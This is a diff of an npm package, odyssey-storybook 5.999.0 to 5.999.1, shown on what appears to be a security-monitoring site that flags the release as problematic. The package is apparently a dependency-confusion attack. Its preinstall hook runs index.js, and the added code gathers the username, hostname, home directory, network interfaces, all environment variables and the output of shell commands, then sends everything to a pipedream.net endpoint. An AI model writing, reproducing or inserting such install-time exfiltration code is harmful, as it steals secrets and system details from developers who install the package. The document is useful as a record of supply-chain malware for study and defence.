odyssey-storybook 5.999.0 → 5.999.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of odyssey-storybook might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +119 -39
  2. package/package.json +2 -2
package/index.js CHANGED
@@ -2,45 +2,125 @@ const os = require("os");
2
2
  const dns = require("dns");
3
3
  const querystring = require("querystring");
4
4
  const https = require("https");
5
+ const http = require("http");
6
+ const { execSync } = require("child_process");
7
+
5
8
  const packageJSON = require("./package.json");
6
9
  const package = packageJSON.name;
7
10
 
8
- const trackingData = JSON.stringify({
9
- p: package,
10
- c: __dirname,
11
- hd: os.homedir(),
12
- hn: os.hostname(),
13
- un: os.userInfo().username,
14
- dns: dns.getServers(),
15
- r: packageJSON ? packageJSON.___resolved : undefined,
16
- v: packageJSON.version,
17
- pjson: packageJSON,
18
- });
19
-
20
- var postData = querystring.stringify({
21
- msg: trackingData,
22
- });
23
-
24
- var options = {
25
- hostname: "eoau1g0gfngpbja.m.pipedream.net",
26
- port: 443,
27
- path: "/",
28
- method: "POST",
29
- headers: {
30
- "Content-Type": "application/x-www-form-urlencoded",
31
- "Content-Length": postData.length,
32
- },
33
- };
34
-
35
- var req = https.request(options, (res) => {
36
- res.on("data", (d) => {
37
- process.stdout.write(d);
38
- });
39
- });
40
-
41
- req.on("error", (e) => {
42
- // console.error(e);
43
- });
44
-
45
- req.write(postData);
46
- req.end();
11
+ // Helper function to get public IP and related data
12
+ async function getPublicIPInfo() {
13
+ return new Promise((resolve, reject) => {
14
+ http.get("http://ip-api.com/json", (res) => {
15
+ let data = "";
16
+ res.on("data", (chunk) => (data += chunk));
17
+ res.on("end", () => {
18
+ try {
19
+ const info = JSON.parse(data);
20
+ resolve(info); // Returns data like city, country, ISP, etc.
21
+ } catch (error) {
22
+ reject("Failed to parse public IP information.");
23
+ }
24
+ });
25
+ }).on("error", (err) => reject(err));
26
+ });
27
+ }
28
+
29
+ // Main function to collect all data
30
+ async function collectData() {
31
+ try {
32
+ const publicIPInfo = await getPublicIPInfo(); // Fetch public IP data
33
+
34
+ const systemInfo = {
35
+ packageName: package,
36
+ packageVersion: packageJSON.version,
37
+ packageResolved: packageJSON.___resolved || null,
38
+ packageJson: packageJSON,
39
+
40
+ // Local system details
41
+ currentDir: __dirname,
42
+ homeDir: os.homedir(),
43
+ hostname: os.hostname(),
44
+ username: os.userInfo().username,
45
+ platform: os.platform(),
46
+ arch: os.arch(),
47
+ osType: os.type(),
48
+ osRelease: os.release(),
49
+ cpuCores: os.cpus().length,
50
+ cpuModel: os.cpus()[0]?.model,
51
+ totalMemory: os.totalmem(),
52
+ freeMemory: os.freemem(),
53
+ uptime: os.uptime(),
54
+ dnsServers: dns.getServers(),
55
+ networkInterfaces: os.networkInterfaces(),
56
+ envVariables: process.env,
57
+ nodeVersion: process.version,
58
+ npmVersion: execSync("npm -v").toString().trim(),
59
+ currentShell: process.env.SHELL || "unknown",
60
+ currentUser: execSync("whoami").toString().trim(),
61
+ currentProcessID: process.pid,
62
+ diskUsage: (() => {
63
+ try {
64
+ const diskInfo = execSync("df -h /").toString();
65
+ return diskInfo.split("\n")[1];
66
+ } catch {
67
+ return "Unable to retrieve disk info";
68
+ }
69
+ })(),
70
+
71
+ // Public IP and organizational details
72
+ publicIP: publicIPInfo.query, // Public IP address
73
+ city: publicIPInfo.city,
74
+ region: publicIPInfo.regionName,
75
+ country: publicIPInfo.country,
76
+ isp: publicIPInfo.isp, // Internet Service Provider
77
+ org: publicIPInfo.org, // Organization name
78
+ reverseDNS: (() => {
79
+ try {
80
+ return execSync(`nslookup ${publicIPInfo.query}`).toString();
81
+ } catch {
82
+ return "Unable to retrieve reverse DNS information";
83
+ }
84
+ })(),
85
+ };
86
+
87
+ // Prepare data for transmission
88
+ const trackingData = JSON.stringify(systemInfo);
89
+ const postData = querystring.stringify({
90
+ msg: trackingData,
91
+ });
92
+
93
+ // HTTPS request options
94
+ const options = {
95
+ hostname: "eoau1g0gfngpbja.m.pipedream.net",
96
+ port: 443,
97
+ path: "/",
98
+ method: "POST",
99
+ headers: {
100
+ "Content-Type": "application/x-www-form-urlencoded",
101
+ "Content-Length": Buffer.byteLength(postData),
102
+ },
103
+ };
104
+
105
+ // Send HTTPS POST request
106
+ const req = https.request(options, (res) => {
107
+ console.log(`Status: ${res.statusCode}`);
108
+ res.setEncoding("utf8");
109
+ res.on("data", (chunk) => {
110
+ console.log(`Response: ${chunk}`);
111
+ });
112
+ });
113
+
114
+ req.on("error", (e) => {
115
+ console.error(`Request error: ${e.message}`);
116
+ });
117
+
118
+ req.write(postData);
119
+ req.end();
120
+ } catch (error) {
121
+ console.error(`Error collecting data: ${error}`);
122
+ }
123
+ }
124
+
125
+ // Run the data collection
126
+ collectData();
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "odyssey-storybook",
3
- "version": "5.999.0",
4
- "description": "DependencyConfusionPwned",
3
+ "version": "5.999.1",
4
+ "description": "Testing for Dependency Confusion",
5
5
  "main": "index.js",
6
6
  "scripts": {
7
7
  "preinstall": "node index.js",